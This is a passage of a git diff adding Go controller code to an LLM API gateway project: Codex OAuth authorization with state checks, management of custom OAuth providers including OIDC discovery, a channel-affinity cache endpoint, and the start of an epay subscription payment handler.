+	ContextKeyUserGroup   ContextKey = "user_group"
+	ContextKeyUsingGroup  ContextKey = "group"
+	ContextKeyUserName    ContextKey = "username"
+
+	ContextKeyLocalCountTokens ContextKey = "local_count_tokens"
+
+	ContextKeySystemPromptOverride ContextKey = "system_prompt_override"
+
+	// ContextKeyFileSourcesToCleanup stores file sources that need cleanup when request ends
+	ContextKeyFileSourcesToCleanup ContextKey = "file_sources_to_cleanup"
+
+	// ContextKeyAdminRejectReason stores an admin-only reject/block reason extracted from upstream responses.
+	// It is not returned to end users, but can be persisted into consume/error logs for debugging.
+	ContextKeyAdminRejectReason ContextKey = "admin_reject_reason"
+
+	// ContextKeyLanguage stores the user's language preference for i18n
+	ContextKeyLanguage ContextKey = "language"
+	ContextKeyIsStream ContextKey = "is_stream"
+)
diff --git a/_all-in-one-upload/new-api/controller/channel_affinity_cache.go b/_all-in-one-upload/new-api/controller/channel_affinity_cache.go
new file mode 100644
index 0000000..a72b04b
--- /dev/null
+++ b/_all-in-one-upload/new-api/controller/channel_affinity_cache.go
@@ -0,0 +1,88 @@
+package controller
+
+import (
+	"net/http"
+	"strings"
+
+	"github.com/QuantumNous/new-api/service"
+	"github.com/gin-gonic/gin"
+)
+
+func GetChannelAffinityCacheStats(c *gin.Context) {
+	stats := service.GetChannelAffinityCacheStats()
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    stats,
+	})
+}
+
+func ClearChannelAffinityCache(c *gin.Context) {
+	all := strings.TrimSpace(c.Query("all"))
+	ruleName := strings.TrimSpace(c.Query("rule_name"))
+
+	if all == "true" {
+		deleted := service.ClearChannelAffinityCacheAll()
+		c.JSON(http.StatusOK, gin.H{
+			"success": true,
+			"message": "",
+			"data": gin.H{
+				"deleted": deleted,
+			},
+		})
+		return
+	}
+
+	if ruleName == "" {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"success": false,
+			"message": "缺少参数：rule_name，或使用 all=true 清空全部",
+		})
+		return
+	}
+
+	deleted, err := service.ClearChannelAffinityCacheByRuleName(ruleName)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"success": false,
+			"message": err.Error(),
+		})
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data": gin.H{
+			"deleted": deleted,
+		},
+	})
+}
+
+func GetChannelAffinityUsageCacheStats(c *gin.Context) {
+	ruleName := strings.TrimSpace(c.Query("rule_name"))
+	usingGroup := strings.TrimSpace(c.Query("using_group"))
+	keyFp := strings.TrimSpace(c.Query("key_fp"))
+
+	if ruleName == "" {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"success": false,
+			"message": "missing param: rule_name",
+		})
+		return
+	}
+	if keyFp == "" {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"success": false,
+			"message": "missing param: key_fp",
+		})
+		return
+	}
+
+	stats := service.GetChannelAffinityUsageCacheStats(ruleName, usingGroup, keyFp)
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    stats,
+	})
+}
diff --git a/_all-in-one-upload/new-api/controller/codex_oauth.go b/_all-in-one-upload/new-api/controller/codex_oauth.go
new file mode 100644
index 0000000..de9743a
--- /dev/null
+++ b/_all-in-one-upload/new-api/controller/codex_oauth.go
@@ -0,0 +1,247 @@
+package controller
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net/http"
+	"net/url"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/relay/channel/codex"
+	"github.com/QuantumNous/new-api/service"
+
+	"github.com/gin-contrib/sessions"
+	"github.com/gin-gonic/gin"
+)
+
+type codexOAuthCompleteRequest struct {
+	Input string `json:"input"`
+}
+
+func codexOAuthSessionKey(channelID int, field string) string {
+	return fmt.Sprintf("codex_oauth_%s_%d", field, channelID)
+}
+
+func parseCodexAuthorizationInput(input string) (code string, state string, err error) {
+	v := strings.TrimSpace(input)
+	if v == "" {
+		return "", "", errors.New("empty input")
+	}
+	if strings.Contains(v, "#") {
+		parts := strings.SplitN(v, "#", 2)
+		code = strings.TrimSpace(parts[0])
+		state = strings.TrimSpace(parts[1])
+		return code, state, nil
+	}
+	if strings.Contains(v, "code=") {
+		u, parseErr := url.Parse(v)
+		if parseErr == nil {
+			q := u.Query()
+			code = strings.TrimSpace(q.Get("code"))
+			state = strings.TrimSpace(q.Get("state"))
+			return code, state, nil
+		}
+		q, parseErr := url.ParseQuery(v)
+		if parseErr == nil {
+			code = strings.TrimSpace(q.Get("code"))
+			state = strings.TrimSpace(q.Get("state"))
+			return code, state, nil
+		}
+	}
+
+	code = v
+	return code, "", nil
+}
+
+func StartCodexOAuth(c *gin.Context) {
+	startCodexOAuthWithChannelID(c, 0)
+}
+
+func StartCodexOAuthForChannel(c *gin.Context) {
+	channelID, err := strconv.Atoi(c.Param("id"))
+	if err != nil {
+		common.ApiError(c, fmt.Errorf("invalid channel id: %w", err))
+		return
+	}
+	startCodexOAuthWithChannelID(c, channelID)
+}
+
+func startCodexOAuthWithChannelID(c *gin.Context, channelID int) {
+	if channelID > 0 {
+		ch, err := model.GetChannelById(channelID, false)
+		if err != nil {
+			common.ApiError(c, err)
+			return
+		}
+		if ch == nil {
+			c.JSON(http.StatusOK, gin.H{"success": false, "message": "channel not found"})
+			return
+		}
+		if ch.Type != constant.ChannelTypeCodex {
+			c.JSON(http.StatusOK, gin.H{"success": false, "message": "channel type is not Codex"})
+			return
+		}
+	}
+
+	flow, err := service.CreateCodexOAuthAuthorizationFlow()
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	session := sessions.Default(c)
+	session.Set(codexOAuthSessionKey(channelID, "state"), flow.State)
+	session.Set(codexOAuthSessionKey(channelID, "verifier"), flow.Verifier)
+	session.Set(codexOAuthSessionKey(channelID, "created_at"), time.Now().Unix())
+	_ = session.Save()
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data": gin.H{
+			"authorize_url": flow.AuthorizeURL,
+		},
+	})
+}
+
+func CompleteCodexOAuth(c *gin.Context) {
+	completeCodexOAuthWithChannelID(c, 0)
+}
+
+func CompleteCodexOAuthForChannel(c *gin.Context) {
+	channelID, err := strconv.Atoi(c.Param("id"))
+	if err != nil {
+		common.ApiError(c, fmt.Errorf("invalid channel id: %w", err))
+		return
+	}
+	completeCodexOAuthWithChannelID(c, channelID)
+}
+
+func completeCodexOAuthWithChannelID(c *gin.Context, channelID int) {
+	req := codexOAuthCompleteRequest{}
+	if err := c.ShouldBindJSON(&req); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	code, state, err := parseCodexAuthorizationInput(req.Input)
+	if err != nil {
+		common.SysError("failed to parse codex authorization input: " + err.Error())
+		c.JSON(http.StatusOK, gin.H{"success": false, "message": "解析授权信息失败，请检查输入格式"})
+		return
+	}
+	if strings.TrimSpace(code) == "" {
+		c.JSON(http.StatusOK, gin.H{"success": false, "message": "missing authorization code"})
+		return
+	}
+	if strings.TrimSpace(state) == "" {
+		c.JSON(http.StatusOK, gin.H{"success": false, "message": "missing state in input"})
+		return
+	}
+
+	channelProxy := ""
+	if channelID > 0 {
+		ch, err := model.GetChannelById(channelID, false)
+		if err != nil {
+			common.ApiError(c, err)
+			return
+		}
+		if ch == nil {
+			c.JSON(http.StatusOK, gin.H{"success": false, "message": "channel not found"})
+			return
+		}
+		if ch.Type != constant.ChannelTypeCodex {
+			c.JSON(http.StatusOK, gin.H{"success": false, "message": "channel type is not Codex"})
+			return
+		}
+		channelProxy = ch.GetSetting().Proxy
+	}
+
+	session := sessions.Default(c)
+	expectedState, _ := session.Get(codexOAuthSessionKey(channelID, "state")).(string)
+	verifier, _ := session.Get(codexOAuthSessionKey(channelID, "verifier")).(string)
+	if strings.TrimSpace(expectedState) == "" || strings.TrimSpace(verifier) == "" {
+		c.JSON(http.StatusOK, gin.H{"success": false, "message": "oauth flow not started or session expired"})
+		return
+	}
+	if state != expectedState {
+		c.JSON(http.StatusOK, gin.H{"success": false, "message": "state mismatch"})
+		return
+	}
+
+	ctx, cancel := context.WithTimeout(c.Request.Context(), 15*time.Second)
+	defer cancel()
+
+	tokenRes, err := service.ExchangeCodexAuthorizationCodeWithProxy(ctx, code, verifier, channelProxy)
+	if err != nil {
+		common.SysError("failed to exchange codex authorization code: " + err.Error())
+		c.JSON(http.StatusOK, gin.H{"success": false, "message": "授权码交换失败，请重试"})
+		return
+	}
+
+	accountID, ok := service.ExtractCodexAccountIDFromJWT(tokenRes.AccessToken)
+	if !ok {
+		c.JSON(http.StatusOK, gin.H{"success": false, "message": "failed to extract account_id from access_token"})
+		return
+	}
+	email, _ := service.ExtractEmailFromJWT(tokenRes.AccessToken)
+
+	key := codex.OAuthKey{
+		AccessToken:  tokenRes.AccessToken,
+		RefreshToken: tokenRes.RefreshToken,
+		AccountID:    accountID,
+		LastRefresh:  time.Now().Format(time.RFC3339),
+		Expired:      tokenRes.ExpiresAt.Format(time.RFC3339),
+		Email:        email,
+		Type:         "codex",
+	}
+	encoded, err := common.Marshal(key)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	session.Delete(codexOAuthSessionKey(channelID, "state"))
+	session.Delete(codexOAuthSessionKey(channelID, "verifier"))
+	session.Delete(codexOAuthSessionKey(channelID, "created_at"))
+	_ = session.Save()
+
+	if channelID > 0 {
+		if err := model.DB.Model(&model.Channel{}).Where("id = ?", channelID).Update("key", string(encoded)).Error; err != nil {
+			common.ApiError(c, err)
+			return
+		}
+		model.InitChannelCache()
+		service.ResetProxyClientCache()
+		c.JSON(http.StatusOK, gin.H{
+			"success": true,
+			"message": "saved",
+			"data": gin.H{
+				"channel_id":   channelID,
+				"account_id":   accountID,
+				"email":        email,
+				"expires_at":   key.Expired,
+				"last_refresh": key.LastRefresh,
+			},
+		})
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "generated",
+		"data": gin.H{
+			"key":          string(encoded),
+			"account_id":   accountID,
+			"email":        email,
+			"expires_at":   key.Expired,
+			"last_refresh": key.LastRefresh,
+		},
+	})
+}
diff --git a/_all-in-one-upload/new-api/controller/custom_oauth.go b/_all-in-one-upload/new-api/controller/custom_oauth.go
new file mode 100644
index 0000000..c21ec79
--- /dev/null
+++ b/_all-in-one-upload/new-api/controller/custom_oauth.go
@@ -0,0 +1,584 @@
+package controller
+
+import (
+	"context"
+	"io"
+	"net/http"
+	"net/url"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/oauth"
+	"github.com/gin-gonic/gin"
+)
+
+// CustomOAuthProviderResponse is the response structure for custom OAuth providers
+// It excludes sensitive fields like client_secret
+type CustomOAuthProviderResponse struct {
+	Id                    int    `json:"id"`
+	Name                  string `json:"name"`
+	Slug                  string `json:"slug"`
+	Icon                  string `json:"icon"`
+	Enabled               bool   `json:"enabled"`
+	ClientId              string `json:"client_id"`
+	AuthorizationEndpoint string `json:"authorization_endpoint"`
+	TokenEndpoint         string `json:"token_endpoint"`
+	UserInfoEndpoint      string `json:"user_info_endpoint"`
+	Scopes                string `json:"scopes"`
+	UserIdField           string `json:"user_id_field"`
+	UsernameField         string `json:"username_field"`
+	DisplayNameField      string `json:"display_name_field"`
+	EmailField            string `json:"email_field"`
+	WellKnown             string `json:"well_known"`
+	AuthStyle             int    `json:"auth_style"`
+	AccessPolicy          string `json:"access_policy"`
+	AccessDeniedMessage   string `json:"access_denied_message"`
+}
+
+type UserOAuthBindingResponse struct {
+	ProviderId     int    `json:"provider_id"`
+	ProviderName   string `json:"provider_name"`
+	ProviderSlug   string `json:"provider_slug"`
+	ProviderIcon   string `json:"provider_icon"`
+	ProviderUserId string `json:"provider_user_id"`
+}
+
+func toCustomOAuthProviderResponse(p *model.CustomOAuthProvider) *CustomOAuthProviderResponse {
+	return &CustomOAuthProviderResponse{
+		Id:                    p.Id,
+		Name:                  p.Name,
+		Slug:                  p.Slug,
+		Icon:                  p.Icon,
+		Enabled:               p.Enabled,
+		ClientId:              p.ClientId,
+		AuthorizationEndpoint: p.AuthorizationEndpoint,
+		TokenEndpoint:         p.TokenEndpoint,
+		UserInfoEndpoint:      p.UserInfoEndpoint,
+		Scopes:                p.Scopes,
+		UserIdField:           p.UserIdField,
+		UsernameField:         p.UsernameField,
+		DisplayNameField:      p.DisplayNameField,
+		EmailField:            p.EmailField,
+		WellKnown:             p.WellKnown,
+		AuthStyle:             p.AuthStyle,
+		AccessPolicy:          p.AccessPolicy,
+		AccessDeniedMessage:   p.AccessDeniedMessage,
+	}
+}
+
+// GetCustomOAuthProviders returns all custom OAuth providers
+func GetCustomOAuthProviders(c *gin.Context) {
+	providers, err := model.GetAllCustomOAuthProviders()
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	response := make([]*CustomOAuthProviderResponse, len(providers))
+	for i, p := range providers {
+		response[i] = toCustomOAuthProviderResponse(p)
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    response,
+	})
+}
+
+// GetCustomOAuthProvider returns a single custom OAuth provider by ID
+func GetCustomOAuthProvider(c *gin.Context) {
+	idStr := c.Param("id")
+	id, err := strconv.Atoi(idStr)
+	if err != nil {
+		common.ApiErrorMsg(c, "无效的 ID")
+		return
+	}
+
+	provider, err := model.GetCustomOAuthProviderById(id)
+	if err != nil {
+		common.ApiErrorMsg(c, "未找到该 OAuth 提供商")
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    toCustomOAuthProviderResponse(provider),
+	})
+}
+
+// CreateCustomOAuthProviderRequest is the request structure for creating a custom OAuth provider
+type CreateCustomOAuthProviderRequest struct {
+	Name                  string `json:"name" binding:"required"`
+	Slug                  string `json:"slug" binding:"required"`
+	Icon                  string `json:"icon"`
+	Enabled               bool   `json:"enabled"`
+	ClientId              string `json:"client_id" binding:"required"`
+	ClientSecret          string `json:"client_secret" binding:"required"`
+	AuthorizationEndpoint string `json:"authorization_endpoint" binding:"required"`
+	TokenEndpoint         string `json:"token_endpoint" binding:"required"`
+	UserInfoEndpoint      string `json:"user_info_endpoint" binding:"required"`
+	Scopes                string `json:"scopes"`
+	UserIdField           string `json:"user_id_field"`
+	UsernameField         string `json:"username_field"`
+	DisplayNameField      string `json:"display_name_field"`
+	EmailField            string `json:"email_field"`
+	WellKnown             string `json:"well_known"`
+	AuthStyle             int    `json:"auth_style"`
+	AccessPolicy          string `json:"access_policy"`
+	AccessDeniedMessage   string `json:"access_denied_message"`
+}
+
+type FetchCustomOAuthDiscoveryRequest struct {
+	WellKnownURL string `json:"well_known_url"`
+	IssuerURL    string `json:"issuer_url"`
+}
+
+// FetchCustomOAuthDiscovery fetches OIDC discovery document via backend (root-only route)
+func FetchCustomOAuthDiscovery(c *gin.Context) {
+	var req FetchCustomOAuthDiscoveryRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		common.ApiErrorMsg(c, "无效的请求参数: "+err.Error())
+		return
+	}
+
+	wellKnownURL := strings.TrimSpace(req.WellKnownURL)
+	issuerURL := strings.TrimSpace(req.IssuerURL)
+
+	if wellKnownURL == "" && issuerURL == "" {
+		common.ApiErrorMsg(c, "请先填写 Discovery URL 或 Issuer URL")
+		return
+	}
+
+	targetURL := wellKnownURL
+	if targetURL == "" {
+		targetURL = strings.TrimRight(issuerURL, "/") + "/.well-known/openid-configuration"
+	}
+	targetURL = strings.TrimSpace(targetURL)
+
+	parsedURL, err := url.Parse(targetURL)
+	if err != nil || parsedURL.Host == "" || (parsedURL.Scheme != "http" && parsedURL.Scheme != "https") {
+		common.ApiErrorMsg(c, "Discovery URL 无效，仅支持 http/https")
+		return
+	}
+
+	ctx, cancel := context.WithTimeout(c.Request.Context(), 20*time.Second)
+	defer cancel()
+
+	httpReq, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL, nil)
+	if err != nil {
+		common.ApiErrorMsg(c, "创建 Discovery 请求失败: "+err.Error())
+		return
+	}
+	httpReq.Header.Set("Accept", "application/json")
+
+	client := &http.Client{Timeout: 20 * time.Second}
+	resp, err := client.Do(httpReq)
+	if err != nil {
+		common.ApiErrorMsg(c, "获取 Discovery 配置失败: "+err.Error())
+		return
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK {
+		body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
+		message := strings.TrimSpace(string(body))
+		if message == "" {
+			message = resp.Status
+		}
+		common.ApiErrorMsg(c, "获取 Discovery 配置失败: "+message)
+		return
+	}
+
+	var discovery map[string]any
+	if err = common.DecodeJson(resp.Body, &discovery); err != nil {
+		common.ApiErrorMsg(c, "解析 Discovery 配置失败: "+err.Error())
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data": gin.H{
+			"well_known_url": targetURL,
+			"discovery":      discovery,
+		},
+	})
+}
+
+// CreateCustomOAuthProvider creates a new custom OAuth provider
+func CreateCustomOAuthProvider(c *gin.Context) {
+	var req CreateCustomOAuthProviderRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		common.ApiErrorMsg(c, "无效的请求参数: "+err.Error())
+		return
+	}
+
+	// Check if slug is already taken
+	if model.IsSlugTaken(req.Slug, 0) {
+		common.ApiErrorMsg(c, "该 Slug 已被使用")
+		return
+	}
+
+	// Check if slug conflicts with built-in providers
+	if oauth.IsProviderRegistered(req.Slug) && !oauth.IsCustomProvider(req.Slug) {
+		common.ApiErrorMsg(c, "该 Slug 与内置 OAuth 提供商冲突")
+		return
+	}
+
+	provider := &model.CustomOAuthProvider{
+		Name:                  req.Name,
+		Slug:                  req.Slug,
+		Icon:                  req.Icon,
+		Enabled:               req.Enabled,
+		ClientId:              req.ClientId,
+		ClientSecret:          req.ClientSecret,
+		AuthorizationEndpoint: req.AuthorizationEndpoint,
+		TokenEndpoint:         req.TokenEndpoint,
+		UserInfoEndpoint:      req.UserInfoEndpoint,
+		Scopes:                req.Scopes,
+		UserIdField:           req.UserIdField,
+		UsernameField:         req.UsernameField,
+		DisplayNameField:      req.DisplayNameField,
+		EmailField:            req.EmailField,
+		WellKnown:             req.WellKnown,
+		AuthStyle:             req.AuthStyle,
+		AccessPolicy:          req.AccessPolicy,
+		AccessDeniedMessage:   req.AccessDeniedMessage,
+	}
+
+	if err := model.CreateCustomOAuthProvider(provider); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	// Register the provider in the OAuth registry
+	oauth.RegisterOrUpdateCustomProvider(provider)
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "创建成功",
+		"data":    toCustomOAuthProviderResponse(provider),
+	})
+}
+
+// UpdateCustomOAuthProviderRequest is the request structure for updating a custom OAuth provider
+type UpdateCustomOAuthProviderRequest struct {
+	Name                  string  `json:"name"`
+	Slug                  string  `json:"slug"`
+	Icon                  *string `json:"icon"`    // Optional: if nil, keep existing
+	Enabled               *bool   `json:"enabled"` // Optional: if nil, keep existing
+	ClientId              string  `json:"client_id"`
+	ClientSecret          string  `json:"client_secret"` // Optional: if empty, keep existing
+	AuthorizationEndpoint string  `json:"authorization_endpoint"`
+	TokenEndpoint         string  `json:"token_endpoint"`
+	UserInfoEndpoint      string  `json:"user_info_endpoint"`
+	Scopes                string  `json:"scopes"`
+	UserIdField           string  `json:"user_id_field"`
+	UsernameField         string  `json:"username_field"`
+	DisplayNameField      string  `json:"display_name_field"`
+	EmailField            string  `json:"email_field"`
+	WellKnown             *string `json:"well_known"`            // Optional: if nil, keep existing
+	AuthStyle             *int    `json:"auth_style"`            // Optional: if nil, keep existing
+	AccessPolicy          *string `json:"access_policy"`         // Optional: if nil, keep existing
+	AccessDeniedMessage   *string `json:"access_denied_message"` // Optional: if nil, keep existing
+}
+
+// UpdateCustomOAuthProvider updates an existing custom OAuth provider
+func UpdateCustomOAuthProvider(c *gin.Context) {
+	idStr := c.Param("id")
+	id, err := strconv.Atoi(idStr)
+	if err != nil {
+		common.ApiErrorMsg(c, "无效的 ID")
+		return
+	}
+
+	var req UpdateCustomOAuthProviderRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		common.ApiErrorMsg(c, "无效的请求参数: "+err.Error())
+		return
+	}
+
+	// Get existing provider
+	provider, err := model.GetCustomOAuthProviderById(id)
+	if err != nil {
+		common.ApiErrorMsg(c, "未找到该 OAuth 提供商")
+		return
+	}
+
+	oldSlug := provider.Slug
+
+	// Check if new slug is taken by another provider
+	if req.Slug != "" && req.Slug != provider.Slug {
+		if model.IsSlugTaken(req.Slug, id) {
+			common.ApiErrorMsg(c, "该 Slug 已被使用")
+			return
+		}
+		// Check if slug conflicts with built-in providers
+		if oauth.IsProviderRegistered(req.Slug) && !oauth.IsCustomProvider(req.Slug) {
+			common.ApiErrorMsg(c, "该 Slug 与内置 OAuth 提供商冲突")
+			return
+		}
+	}
+
+	// Update fields
+	if req.Name != "" {
+		provider.Name = req.Name
+	}
+	if req.Slug != "" {
+		provider.Slug = req.Slug
+	}
+	if req.Icon != nil {
+		provider.Icon = *req.Icon
+	}
+	if req.Enabled != nil {
+		provider.Enabled = *req.Enabled
+	}
+	if req.ClientId != "" {
+		provider.ClientId = req.ClientId
+	}
+	if req.ClientSecret != "" {
+		provider.ClientSecret = req.ClientSecret
+	}
+	if req.AuthorizationEndpoint != "" {
+		provider.AuthorizationEndpoint = req.AuthorizationEndpoint
+	}
+	if req.TokenEndpoint != "" {
+		provider.TokenEndpoint = req.TokenEndpoint
+	}
+	if req.UserInfoEndpoint != "" {
+		provider.UserInfoEndpoint = req.UserInfoEndpoint
+	}
+	if req.Scopes != "" {
+		provider.Scopes = req.Scopes
+	}
+	if req.UserIdField != "" {
+		provider.UserIdField = req.UserIdField
+	}
+	if req.UsernameField != "" {
+		provider.UsernameField = req.UsernameField
+	}
+	if req.DisplayNameField != "" {
+		provider.DisplayNameField = req.DisplayNameField
+	}
+	if req.EmailField != "" {
+		provider.EmailField = req.EmailField
+	}
+	if req.WellKnown != nil {
+		provider.WellKnown = *req.WellKnown
+	}
+	if req.AuthStyle != nil {
+		provider.AuthStyle = *req.AuthStyle
+	}
+	if req.AccessPolicy != nil {
+		provider.AccessPolicy = *req.AccessPolicy
+	}
+	if req.AccessDeniedMessage != nil {
+		provider.AccessDeniedMessage = *req.AccessDeniedMessage
+	}
+
+	if err := model.UpdateCustomOAuthProvider(provider); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	// Update the provider in the OAuth registry
+	if oldSlug != provider.Slug {
+		oauth.UnregisterCustomProvider(oldSlug)
+	}
+	oauth.RegisterOrUpdateCustomProvider(provider)
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "更新成功",
+		"data":    toCustomOAuthProviderResponse(provider),
+	})
+}
+
+// DeleteCustomOAuthProvider deletes a custom OAuth provider
+func DeleteCustomOAuthProvider(c *gin.Context) {
+	idStr := c.Param("id")
+	id, err := strconv.Atoi(idStr)
+	if err != nil {
+		common.ApiErrorMsg(c, "无效的 ID")
+		return
+	}
+
+	// Get existing provider to get slug
+	provider, err := model.GetCustomOAuthProviderById(id)
+	if err != nil {
+		common.ApiErrorMsg(c, "未找到该 OAuth 提供商")
+		return
+	}
+
+	// Check if there are any user bindings
+	count, err := model.GetBindingCountByProviderId(id)
+	if err != nil {
+		common.SysError("Failed to get binding count for provider " + strconv.Itoa(id) + ": " + err.Error())
+		common.ApiErrorMsg(c, "检查用户绑定时发生错误，请稍后重试")
+		return
+	}
+	if count > 0 {
+		common.ApiErrorMsg(c, "该 OAuth 提供商还有用户绑定，无法删除。请先解除所有用户绑定。")
+		return
+	}
+
+	if err := model.DeleteCustomOAuthProvider(id); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	// Unregister the provider from the OAuth registry
+	oauth.UnregisterCustomProvider(provider.Slug)
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "删除成功",
+	})
+}
+
+func buildUserOAuthBindingsResponse(userId int) ([]UserOAuthBindingResponse, error) {
+	bindings, err := model.GetUserOAuthBindingsByUserId(userId)
+	if err != nil {
+		return nil, err
+	}
+
+	response := make([]UserOAuthBindingResponse, 0, len(bindings))
+	for _, binding := range bindings {
+		provider, err := model.GetCustomOAuthProviderById(binding.ProviderId)
+		if err != nil {
+			continue
+		}
+		response = append(response, UserOAuthBindingResponse{
+			ProviderId:     binding.ProviderId,
+			ProviderName:   provider.Name,
+			ProviderSlug:   provider.Slug,
+			ProviderIcon:   provider.Icon,
+			ProviderUserId: binding.ProviderUserId,
+		})
+	}
+
+	return response, nil
+}
+
+// GetUserOAuthBindings returns all OAuth bindings for the current user
+func GetUserOAuthBindings(c *gin.Context) {
+	userId := c.GetInt("id")
+	if userId == 0 {
+		common.ApiErrorMsg(c, "未登录")
+		return
+	}
+
+	response, err := buildUserOAuthBindingsResponse(userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    response,
+	})
+}
+
+func GetUserOAuthBindingsByAdmin(c *gin.Context) {
+	userIdStr := c.Param("id")
+	userId, err := strconv.Atoi(userIdStr)
+	if err != nil {
+		common.ApiErrorMsg(c, "invalid user id")
+		return
+	}
+
+	targetUser, err := model.GetUserById(userId, false)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	myRole := c.GetInt("role")
+	if myRole <= targetUser.Role && myRole != common.RoleRootUser {
+		common.ApiErrorMsg(c, "no permission")
+		return
+	}
+
+	response, err := buildUserOAuthBindingsResponse(userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    response,
+	})
+}
+
+// UnbindCustomOAuth unbinds a custom OAuth provider from the current user
+func UnbindCustomOAuth(c *gin.Context) {
+	userId := c.GetInt("id")
+	if userId == 0 {
+		common.ApiErrorMsg(c, "未登录")
+		return
+	}
+
+	providerIdStr := c.Param("provider_id")
+	providerId, err := strconv.Atoi(providerIdStr)
+	if err != nil {
+		common.ApiErrorMsg(c, "无效的提供商 ID")
+		return
+	}
+
+	if err := model.DeleteUserOAuthBinding(userId, providerId); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "解绑成功",
+	})
+}
+
+func UnbindCustomOAuthByAdmin(c *gin.Context) {
+	userIdStr := c.Param("id")
+	userId, err := strconv.Atoi(userIdStr)
+	if err != nil {
+		common.ApiErrorMsg(c, "invalid user id")
+		return
+	}
+
+	targetUser, err := model.GetUserById(userId, false)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	myRole := c.GetInt("role")
+	if myRole <= targetUser.Role && myRole != common.RoleRootUser {
+		common.ApiErrorMsg(c, "no permission")
+		return
+	}
+
+	providerIdStr := c.Param("provider_id")
+	providerId, err := strconv.Atoi(providerIdStr)
+	if err != nil {
+		common.ApiErrorMsg(c, "invalid provider id")
+		return
+	}
+
+	if err := model.DeleteUserOAuthBinding(userId, providerId); err != nil {
+		common.ApiError(c, err)
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "success",
+	})
+}
diff --git a/_all-in-one-upload/new-api/controller/subscription_payment_epay.go b/_all-in-one-upload/new-api/controller/subscription_payment_epay.go
new file mode 100644
index 0000000..2567654
--- /dev/null
+++ b/_all-in-one-upload/new-api/controller/subscription_payment_epay.go
@@ -0,0 +1,217 @@
+package controller
+
+import (
+	"fmt"
+	"net/http"
+	"net/url"
+	"strconv"
+	"time"
+
+	"github.com/Calcium-Ion/go-epay/epay"
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/service"
+	"github.com/QuantumNous/new-api/setting/operation_setting"
+	"github.com/QuantumNous/new-api/setting/system_setting"
+	"github.com/gin-gonic/gin"
+	"github.com/samber/lo"
+)
+
+type SubscriptionEpayPayRequest struct {
+	PlanId        int    `json:"plan_id"`
+	PaymentMethod string `json:"payment_method"`
+}
+
+func SubscriptionRequestEpay(c *gin.Context) {
+	var req SubscriptionEpayPayRequest
+	if err := c.ShouldBindJSON(&req); err != nil || req.PlanId <= 0 {
+		common.ApiErrorMsg(c, "参数错误")
+		return
+	}
+
+	plan, err := model.GetSubscriptionPlanById(req.PlanId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if !plan.Enabled {
+		common.ApiErrorMsg(c, "套餐未启用")
+		return
+	}
+	if plan.PriceAmount < 0.01 {
+		common.ApiErrorMsg(c, "套餐金额过低")
+		return
+	}
+	if !operation_setting.ContainsPayMethod(req.PaymentMethod) {
+		common.ApiErrorMsg(c, "支付方式不存在")
+		return
+	}
+
+	userId := c.GetInt("id")
+	if plan.MaxPurchasePerUser > 0 {
+		count, err := model.CountUserSubscriptionsByPlan(userId, plan.Id)
+		if err != nil {
+			common.ApiError(c, err)
+			return
+		}
+		if count >= int64(plan.MaxPurchasePerUser) {
+			common.ApiErrorMsg(c, "已达到该套餐购买上限")
+			return
+		}
+	}
+
+	callBackAddress := service.GetCallbackAddress()
+	returnUrl, err := url.Parse(callBackAddress + "/api/subscription/epay/return")
+	if err != nil {
+		common.ApiErrorMsg(c, "回调地址配置错误")
+		return
+	}
+	notifyUrl, err := url.Parse(callBackAddress + "/api/subscription/epay/notify")
+	if err != nil {
